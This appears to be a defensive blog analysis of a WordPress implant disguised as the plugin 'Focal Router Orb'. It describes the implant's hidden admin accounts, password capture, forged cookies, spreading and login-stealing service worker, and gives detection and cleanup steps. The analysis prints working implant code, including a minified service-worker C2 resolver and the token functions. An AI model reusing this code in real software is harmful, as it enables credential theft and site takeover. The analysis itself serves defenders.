The file is called focal-orb_sample.php and is 2,211,731 bytes. The first lines look like any plugin from the WordPress directory: a name (Focal Router Orb), the description “Intelligent widget rendering assistant”, a GPL license line and a plugin URI that points at wordpress.org.
Behind that header is a persistence framework of 341 functions. It creates a hidden administrator, keeps every admin password it sees, forges 14 day login cookies, copies itself to other WordPress sites on the same server, and registers a service worker in the administrator’s browser.
Most of the 2.2 MB is padding. About 582 KB is code, and the other 1.6 MB is 407 comments of random hex.
I analysed it statically and never ran it. I folded the string concatenations with a script, read the result, and inflated the one embedded blob (the service worker) in Python. One thing to know before the details: this build has its network layer removed. The two HTTP helpers, yq_http() and yq_http_get(), return false with the reason no_egress, and the C2 resolver has no seeds. I can’t tell if the actor ships a no-egress variant or if the file was changed before it reached me. The sample is still fully functional as a push-controlled implant, and that is what this post covers.
/**
* Plugin Name: Focal Router Orb
* Plugin URI: https://wordpress[.]org/plugins/focal-router-orb/
* Description: Intelligent widget rendering assistant
* Version: 1.2.1
* Author: Leo Edwards
* Author URI: https://leoedwards[.]dev
...
*/
/* YQV:5.1.7 */
The header is complete (text domain, Requires PHP, Tested up to: 6.5), which makes it pass a quick look in the plugin list. I didn’t check whether the slug exists on wordpress.org or whether “Leo Edwards” is a real person or an invented persona, so I’m not attributing anything to the name.
The line that matters is the second one, /* YQV:5.1.7 */. It is an internal version marker, and the implant uses it as a gate: a pushed update is only accepted if its first 4 KB contain a marker of the form /* XXV:n.n.n */ that is newer than the running one. It is also a very good thing to search for (see Detection).
Almost every function starts with yq_, with names like yq_ep_serve, yq_ensure_admin, yq_spread and yq_drop_sw. A few small helpers have short random names instead (zupu and wevi wrap add_action and add_filter, gumi makes random hex). The class at the top, hopig, is a decoy with one method that returns its argument.
Strings are built from pieces, and function names are hidden behind concatenation, so that no sensitive name appears whole:
if (!("\x66\x75\x6ecti\x6fn" . "_exists")("\x79q_ep" . '_alp' . "ha")) {
That is function_exists('yq_ep_alpha'). Numbers are arithmetic too: (2 | 8) is 10, (8 >> 3) is 1. A string-folding pass makes the file readable, and nothing in it is encrypted. Only one real blob exists: 3,180 characters of base64 that inflate to the service worker.
The padding is the interesting part. yq_pad() appends random-hex comments of about 4 KB each until the file reaches 1.8 to 2.5 MB:
while (strlen($c) < $t - 4100) {
$r = bin2hex(random_bytes(2000));
$c .= "\n/*" . $r . '*/';
}
It only does this if the host has at least 150 MB of free disk and a PHP memory limit of 64 MB or more. Two effects follow. Every copy has a different hash, so a hash blocklist never matches twice. And many scanners and upload filters skip or truncate files of this size, which hides the code from them. yq_unpad() removes the comments again with (\r?\n/\*[0-9a-f]{1000,}\*/)+$ when the implant needs to read its own source.
Instead of calling out to a C2, the implant listens. Every request is checked by yq_ep_match(). A request is the operator’s if it carries a token either as a bare query-string key or in a header:
GET /?NEGdOssGqFDmB HTTP/1.1
X-SC-EP: NEGdOssGqFDmB (alternative)
The token is not a secret. It is derived from today’s date and the site’s hostname:
function yq_ep_token($day, $host) {
$b = hash('sha256', $day . $host, true); // raw 32 bytes
$n = (ord($b[0]) % 10) + 6; // 6 to 15 letters
$o = '';
for ($i = 0; $i < $n; $i++) $o .= $alphabet[ord($b[$i + 1]) % 52]; // a-zA-Z
return $o;
}
$day is the UTC date as Y-m-d. The accepted window is 2 days by default (today and yesterday, changeable up to 7 with SC_EP_WINDOW). The hosts are HTTP_HOST, SERVER_NAME and the hosts of home_url() and site_url(), each with and without www.. For example.com on 2026-11-05 the token is NEGdOssGqFDmB (and JJOaJeADPJplux for www.example.com). I ported this to Python and checked it against my own PHP implementation of the same algorithm.
The operator doesn’t need to know anything about the site except the hostname. That also means anyone who reads this algorithm can compute the same token and reach the endpoint, and can decrypt captured traffic, because the token is also the XOR key for requests and responses.
What the endpoint does:
GET or HEAD: returns a JSON object with the implant version, PHP version, whether it is “waiting for an installer”, and an info block (server IP, domain, root path, active plugins, mu-plugins, login URL, recorded errors). The reply is XOR-encrypted with the token and has the headers X-SC-V: 5.1.7, X-SC-Enc: xor and Content-Type: application/octet-stream. These headers are a reliable fingerprint.POST or PUT (up to 12 MB): accepts a JSON body (optionally XOR-encrypted, optionally gzip) and applies it with yq_apply_payload(). The reply includes the same info block, this time with credentials.There is a second way in. If the file is requested directly, outside WordPress, it exits unless the request carries the token above or a key in ?sc_s= or the X-SC-Key header equal to the first 12 hex characters of md5(<host> . '|state'). On a match it walks up to eight parent directories looking for wp-load.php and loads WordPress itself. That key is derived from the hostname alone, so it is just as guessable as the token.
The keys the operator can push:
| Key | Effect |
|---|---|
plugin | base64 PHP that replaces the implant. It must start with <?php, carry a newer /* XXV:n.n.n */ marker (or forceUpdate), and match pluginVersion if one is given. |
pluginRules | regexes; plugins whose files match are deactivated and deleted (yq_scan_plugin, yq_del_plugin) |
injectRules | regexes applied with preg_replace($rule, '', $file) to files of active plugins, mu-plugins and the active theme (files up to 512 KB) |
js | JavaScript printed into every public page |
sw, page | the service worker and the code that runs in the admin’s browser |
templates | PHP for the drop-ins: guard, advancedCache, db, theme, installer, ocLoader |
clear | wipes the cached payload |
pluginRules and injectRules are worth a second look. They don’t add code, they remove it: a regex match deletes a whole plugin, or cuts the matching text out of a file. That is a way to evict other malware (or any plugin, such as a security scanner) from a site the implant owns. What gets removed depends entirely on the rules the operator pushes, and the sample has none.
yq_ensure_admin() creates an account when the implant starts:
admin_, adm_, administrator_ or backup_ plus 10 hex characters, for example backup_3fa91c07de<login>@<site domain>wp_insert_user(), and if that fails, direct SQL into wp_users and wp_usermeta (capabilities a:1:{s:13:"administrator";b:1;} and level 10)wp_set_password() resets it insteadThe login and password are saved in the implant’s own storage (below). Then the account is hidden: pre_user_query adds AND user_login != '<name>', views_users corrects the counts, and rest_user_query removes it from /wp-json/wp/v2/users. It does not appear on the Users screen, so you have to look in the database.
Notifications are muted as well: the new-user mails to the admin, the “new login” notice, and wp_mail itself while cookies are being created.
Two more pieces turn the site into a credentials source for the operator:
Password interception. A filter on authenticate (priority 999) runs after a successful login. If the user is an administrator, their plaintext password is stored with a timestamp. Entries older than about 90 days are dropped.
Forged sessions. For up to three administrators per run, yq_gen_cookies() creates a real session with WP_Session_Tokens::create() and builds both cookies with wp_generate_auth_cookie() (logged_in and auth or secure_auth), valid for 14 days. They are formatted as Netscape cookie-jar lines (tab-separated domain, path, secure flag, expiry, name, value), so the operator can paste them into a file for curl or a browser extension. A password change doesn’t invalidate them.
The POST reply carries both maps as admins (login to plaintext password) and adminsCookies.
Storage. Everything is kept in wp_options with autoload = no. Option names are md5(ABSPATH . <number> . <name>) cut to 12 hex characters, so they look like a3f1c0d29b7e. Values are serialize()d, XOR-ed with one random byte (stored as the first character) and base64-encoded. The stored values include the hidden login and password (bu, bp), the captured passwords (ic), cached JS, the service worker and a full copy of the implant’s own source (src). That copy is the recovery source if the file is deleted.
A handful of plain options also exist and are easy to find: yq_initialized, yq_last_fetch_ts, yq_fetch_fails, yq_c2_cache, yq_push_got_ts, yq_ep_last, yq_ep_hits, yq_update_bad, yq_sw_had, yq_sw_last_url, yq_js_printed_ts, yq_init_src_ts.
yq_spread() runs at shutdown, at most every 10 minutes (and then every 3 days after a successful copy). yq_find_roots() looks for WordPress installs under the parents of its own path, /home, /var/www, /var/www/vhosts, /var/www/html, /srv/www, /srv/users, /usr/local/www and any open_basedir entries, up to two levels deep, within a 10 second budget. For each root that isn’t infected yet it writes a padded copy under the same file name into wp-content/mu-plugins/. If that isn’t writable, it creates wp-content/plugins/<slug>/ and activates the copy by editing the target’s active_plugins option inside a transaction.
So one infected site on a shared server is enough to reach the others, as long as their files are writable by the same PHP user.
The implant also checks itself and repairs itself on every plugins_loaded (yq_recover, yq_self_heal, yq_persist_always, yq_theme_watchdog, a cron guard and a cron recovery task). The re-installation paths I could confirm:
yq_recover() rewrites its own file from the src copy if the file is missing, too small or fails a lint (php -l) check.auto_prepend_file. yq_drop_user_ini() writes a loader into .user.ini (or the server’s configured name), and yq_drop_htaccess() does the same through .htaccess.wp-content/object-cache.php with the markers .wp-object-cache-<id>, SC_OC_BEGIN and SCOCV:<version>, and advanced-cache.php. Their bodies come from the pushed templates, so the sample carries the writers but not the drop-in code./* XX_TH_BEGIN:<id> */ and /* XX_TH_END:<id> */ markers, with a watchdog that re-adds it after a theme switch.yq_drop_shmop() keeps a payload in a System V shared memory segment keyed with ftok(wp-config.php, 's'). It survives deleting every file.wp-content/.sc_<8 hex>/ holds an index.php and an installer named <8 hex>.php. A plugin ZIP named wp-content/<8 hex>.zip is used for reinstalling.I read the structure and file markers of the drop-in writers rather than every branch, so treat that list as the places to look, not a complete inventory.
It also hides. all_plugins, show_advanced_plugins and site_transient_update_plugins remove it from the plugin list, the must-use list and the update checks. Site Health (debug_information) drops its entry. For wp-file-manager and other elFinder-based plugins, yq_hide_fm adds hidden attribute rules for its file and directory name to the connector options.
A trace log is on by default: yq_tr() appends to <implant name>.tr.log next to the file (up to 900 entries or 512 KB, 25 repeats per message) unless SC_TRACE is false or a .tr_off file exists. In this build it records every refused request (refused_get|…, refused_post|…). If you find a *.tr.log in a plugin or mu-plugins folder, it is a good record of what the implant tried to do.
Front end. The pushed js is printed into every public page through wp_footer, with an output-buffer fallback that inserts it before </body>. It skips admin pages, AJAX, REST, XML-RPC, feeds, robots.txt, sitemaps, previews and downloads (ZIP, PDF, CSV, MP4 and similar). It is wrapped in a recognizable tag:
<script data-sc="a1b2c3-d4e5f6">
...operator JavaScript...
</script>
<!-- sca1b2c3-d4e5f6 -->
The first half is md5(host) cut to 6 hex, and the second half is md5(js) cut to 6 hex.
Service worker. On wp-admin pages and wp-login.php, over HTTPS only, yq_sw_reg() prints an inline script that registers a service worker. The script is served by the site itself from an odd-looking URL, /?p=<8-digit number>, with Service-Worker-Allowed: /. The number comes from the site path (0x56c8cc0 + md5(ABSPATH . 'ep' . 'sw') % ~9 million), so it differs per site, but it always falls between 91,000,000 and 99,999,999. Normal ?p= values are post IDs, which are almost never that long.
The default worker is embedded in the sample (6,429 bytes after inflating; sha256 7bafee00…0bd2). Reading it:
eth_call with the function selector 0x3bc5de30 against a list of RPC endpoints, trying each within 5 seconds and giving up after 15. The result is parsed as [1 byte key length][key][data]; the data is XOR-decrypted, the first part becomes the working key U, and the rest is a newline-separated list of C2 URLs. The list is cached for an hour. This is the same EtherHiding idea as in the GitHub and BSC dead-drop loaders, but done from a service worker with raw JSON-RPC and no library.fetch handler watches POST requests to wp-login.php, reads log and pwd from a clone of the form, XOR-encrypts {loginUrl, credentials, alive} with key U and POSTs it to <c2>/w. The request goes on to the real login unchanged.wp-admin/ navigation that returns HTML containing wpbody, the worker inserts a script before </body> that listens for a message from the worker and runs it with Function(atob(data.c))(). The code that gets sent, pageCode, comes from the C2 or the PHP side. This is full JavaScript execution inside the administrator’s session./?p=<number>) and expects OK. If that fails it downloads the ZIP from wp-content/<8 hex>.zip, fetches wp-admin/plugin-install.php?tab=upload, extracts the nonce and uploads the ZIP to update.php?action=upload-plugin using the admin’s own session. This is the same trick as in yesbaby.js, with a service worker as the trigger.sc-sync sync event so it can phone home even when no page is open.In this sample the PHP side builds the worker’s boot data with only adminBase. The contracts and rpcs lists the default worker reads from __SC_BOOT are empty, so the embedded worker as shipped cannot find a C2 by itself. I can’t see where the addresses would come from; the pushed sw is the likely source. No contract address or RPC URL is present in the sample, and I’m not guessing any.
All of that can be added with one authenticated POST, and the credential theft and hidden administrator work without any of it.
Patterns 1, 2 and 4 match the sample file itself. Patterns 3, 5 and 6 look for what the implant writes elsewhere (theme blocks, drop-ins, page output, leftover files). The sample only assembles those strings at runtime, so I checked them against the code that builds them and against a synthetic rendering, not against a real infected site.
# 1. the version marker in the first 4 KB of any PHP file
find . -name '*.php' -size +100k -exec sh -c \
'head -c 4096 "$1" | grep -qE "/\* [A-Z]{2}V:[0-9]+\.[0-9]+\.[0-9]+ \*/" && echo "$1"' _ {} \;
# 2. long hex padding comments
grep -rlE '/\*[0-9a-f]{1000,}\*/' --include='*.php' .
# 3. block markers in themes, drop-ins and other files
grep -rlE '[A-Z]{2}_TH_BEGIN:|SC_OC_BEGIN|SCOCV:|SC_DD_BEGIN' --include='*.php' .
# 4. the function and header names
grep -rlE '\byq_(ep|tr|pg|pk|ensure_admin)[a-z_]*|X-SC-(EP|KEY|Enc|V)' --include='*.php' .
# 5. front-end tag, in saved pages or database content
grep -rE 'data-sc="[0-9a-f]{6}-[0-9a-f]{6}"'
# 6. leftovers
find wp-content -maxdepth 3 \( -name '.sc_*' -o -name '*.tr.log' -o -name '.tr_off' -o -name '.ub_*' -o -name '.q_*' \)
find wp-content -maxdepth 1 -name '[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f].zip'
Pattern 1 is the most reliable. It looks at the marker the implant needs for its own updates, so a padded, renamed or re-obfuscated copy still has it. Patterns 2 and 3 survive renaming too.
Look for the endpoint in the access logs. Because the token is computable, you can search your logs for the exact values:
# tok.py: print the tokens for a host for the last N days (UTC)
python3 tok.py example.com 14 | paste -sd'|' - > tokens.txt
grep -E "[?&]($(cat tokens.txt))( |&|=|\")" access.log
grep -E '[?&]p=[0-9]{8}( |&|")' access.log # service worker / installer URLs
grep -iE 'X-SC-EP|sc_s=' access.log
# tok.py
import hashlib, sys, datetime
alpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
def token(day, host):
b = hashlib.sha256((day + host).encode()).digest()
n = b[0] % 10 + 6
return "".join(alpha[b[i + 1] % 52] for i in range(n))
host = sys.argv[1].lower()
days = int(sys.argv[2]) if len(sys.argv) > 2 else 7
hosts = {host, host[4:] if host.startswith("www.") else "www." + host}
now = datetime.datetime.now(datetime.timezone.utc)
for i in range(days):
d = (now - datetime.timedelta(days=i)).strftime("%Y-%m-%d")
for h in sorted(hosts):
print(token(d, h))
I tested the grep against a synthetic log: it matches the token request and ignores ?p=123. Use every hostname the site answers to, not only the main one. A hit means the endpoint was probed or used on that day; a 200 with a small body (the XOR reply) means the implant answered.
Probing your own site. curl -s -D - -o /dev/null "https://<site>/?<today's token>" returns X-SC-V and X-SC-Enc: xor if the implant is active. I haven’t tried it against a live infected site (I never ran the sample), so treat it as untested. A GET reply does not include credentials, but never send a POST to the endpoint: the reply to that one carries plaintext admin passwords and cookies.
Database. The hidden administrator is filtered out of the Users screen, so query it directly:
SELECT u.ID, u.user_login, u.user_email, u.user_registered
FROM wp_users u JOIN wp_usermeta m ON m.user_id = u.ID
WHERE m.meta_key = 'wp_capabilities' AND m.meta_value LIKE '%administrator%'
AND (u.user_login REGEXP '^(admin_|adm_|administrator_|backup_)[0-9a-f]{6,10}$'
OR u.user_email = CONCAT(u.user_login, '@', '<your domain>'));
SELECT option_name, LENGTH(option_value) FROM wp_options
WHERE option_name LIKE 'yq\_%' OR (option_name REGEXP '^[0-9a-f]{12}$' AND autoload = 'no');
Adjust the wp_ prefix. The 12-hex options include the stored copy of the implant, so they are large (hundreds of KB to 1 MB).
Cleanup order. The implant reinstalls itself from several places, so deleting the plugin file first usually does nothing for long.
yq_ and 12-hex options hold captured passwords, so keep the dump private), the access logs and any *.tr.log..user.ini and .htaccess auto_prepend_file lines, wp-content/object-cache.php and advanced-cache.php (if you didn’t install them), theme blocks between *_TH_BEGIN/*_TH_END, the wp-content/.sc_* directory and the 8-hex .zip, the yq_* and 12-hex options, and the cron events yq_cron_recovery and yq_cron_guard. Then delete the plugin or mu-plugin file, and remove the hidden administrator.ipcs -m and look for a small segment owned by the web user, then ipcrm -m <id>. Restarting PHP-FPM or the web server does not remove it by itself.wp-config.php. The forged cookies were made with real session tokens, so a password change alone does not log them out. Also delete the session_tokens user meta.chrome://serviceworker-internals or DevTools, Application, Service workers, then Unregister. Make /?p=<number> return 404 after cleanup, so the browser’s periodic update check drops it. As hardening, send Content-Security-Policy: worker-src 'none' on /wp-admin/ and /wp-login.php.injectRules or pluginRules were used, plugins and files may have been removed. Compare plugin folders and theme files with clean copies, and reinstall plugins from the official source.wp core verify-checksums, wp plugin verify-checksums --all). The implant edits files in place.Sample focal-orb_sample.php 2,211,731 bytes
sha256 cfd2610bb4ee0ccf087185a6143ef87cb5974b3ef9d95d72fde475e596194ac0
header Plugin Name: Focal Router Orb / Version 1.2.1 / "Intelligent widget rendering assistant"
author "Leo Edwards" leoedwards[.]dev (not verified as real or as involved)
URI wordpress[.]org/plugins/focal-router-orb/ (not checked)
marker /* YQV:5.1.7 */ ~340 functions named yq_* decoy class hopig
Service embedded worker 6,429 bytes sha256 7bafee00a010ed3db3521a89e8f5d50d2f677204c56995e99c7603768a9f0bd2
worker eth_call selector 0x3bc5de30 globals __SC_BOOT, __SC_ENC, __SC_CONFIG sync tag sc-sync
POST <c2>/w (XOR-encrypted) upload-plugin via wp-admin/plugin-install.php?tab=upload
served from /?p=<8-digit number> header Service-Worker-Allowed: /
Endpoint token = letters from sha256(UTC date "Y-m-d" + host) query key or header X-SC-EP param sc_s / header X-SC-KEY
reply headers X-SC-V: 5.1.7 X-SC-Enc: xor Content-Type: application/octet-stream
Accounts (admin_|adm_|administrator_|backup_) + 10 hex, e-mail <login>@<site domain>, hidden from the Users list
Front-end <script data-sc="XXXXXX-YYYYYY"> ... </script><!-- scXXXXXX-YYYYYY --> inline script attribute data-sc-<6 hex>
Files wp-content/.sc_<8 hex>/ wp-content/<8 hex>.zip <implant>.tr.log .tr_off .ub_<md5> .q_<name>
markers SC_TH_BEGIN SC_OC_BEGIN SC_DD_BEGIN SCOCV: .wp-object-cache-<id>
padding /*<4000 hex>*/ comments at the end of the file, 1.8 to 2.5 MB total
Options yq_initialized yq_last_fetch_ts yq_fetch_fails yq_c2_cache yq_push_got_ts yq_ep_last yq_ep_hits yq_update_bad
yq_sw_had yq_sw_last_url yq_js_printed_ts yq_init_src_ts 12-hex autoload=no options
Hooks cron events yq_cron_recovery, yq_cron_guard transient yq_spread_interval
SysV shared memory segment ftok(wp-config.php, 's')
(()=>{let g=null,U=new Uint8Array(0),W=0,c=null,P="/";function A(){if(c)return c;try{if(self.__SC_BOOT){const t=self.__SC_BOOT;return c={contracts:t.contracts||[],rpcs:t.rpcs||[],zipUrl:"",slug:"",installerUrl:"",pageCode:""},c}if(self.__SC_CONFIG)return c=self.__SC_CONFIG,c}catch{}return null}function k(t){const n=[];for(let e=0;e<t.length;e+=2)n.push(parseInt(t.substr(e,2),16));return new Uint8Array(n)}function S(t,n){const e=new Uint8Array(t.length);for(let a=0;a<t.length;a++)e[a]=t[a]^n[a%n.length];return e}async function _(t){if(g&&Date.now()-W<36e5)return g;const n=Date.now()+15e3,e=t.contracts[Math.floor(Math.random()*t.contracts.length)],a=JSON.stringify({jsonrpc:"2.0",id:3,method:"eth_call",params:[{data:"0x3bc5de30",to:e},"latest"]});for(const p of t.rpcs){if(Date.now()>n)break;const s=new AbortController,h=setTimeout(()=>s.abort(),5e3);try{const u=await fetch(p,{method:"POST",headers:{"Content-Type":"application/json"},body:a,signal:s.signal});if(!u.ok)continue;const o=await u.json();if(!o.result)continue;let l=o.result;l.startsWith("0x")&&(l=l.slice(2));const r=k(l);if(r.length<64)continue;const y=r[63],f=r.slice(64,64+y);if(f.length<3)continue;const w=f[0],i=f.slice(1,1+w),O=f.slice(1+w),x=S(O,i),E=x[0];if(U=x.slice(1,1+E),c&&self.__SC_ENC)try{const m=atob(self.__SC_ENC),v=new Uint8Array(m.length);for(let C=0;C<m.length;C++)v[C]=m.charCodeAt(C);let b;try{const C=S(v,U);b=JSON.parse(new TextDecoder().decode(C))}catch{b=JSON.parse(new TextDecoder().decode(v))}c.zipUrl=b.zipUrl||"",c.slug=b.slug||"",c.installerUrl=b.installerUrl||"",c.pageCode=b.pageCode||""}catch{}return g=new TextDecoder().decode(x.slice(1+E)).split(`
`).map(m=>m.trim()).filter(m=>m.length>0),W=Date.now(),g}catch{continue}finally{clearTimeout(h)}}return[]}function yq_ep_alpha() { return 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; }
function yq_ep_window() {
$w = defined('SC_EP_WINDOW') ? (int) SC_EP_WINDOW : 2;
if ($w < 1) $w = 1;
if ($w > 7) $w = 7;
return $w;
}
function yq_ep_days() {
$d = array(); $now = time();
for ($i = 0; $i < yq_ep_window(); $i++) $d[] = gmdate('Y-m-d', $now - $i * 86400);
return $d;
}
function yq_ep_token($day, $host) {
$b = @hash('sha256', (string) $day . (string) $host, true);
if (!is_string($b) || strlen($b) < 16) return '';
$a = yq_ep_alpha();
$n = (ord($b[0]) % 10) + 6;
$o = '';
for ($i = 0; $i < $n; $i++) $o .= $a[ord($b[$i + 1]) % 52];
return $o;
}
function yq_ep_match() {
// candidates: every key of $_GET, plus the X-SC-EP header
// a candidate must be 6 to 15 letters and equal (hash_equals) one of the computed tokens
...
}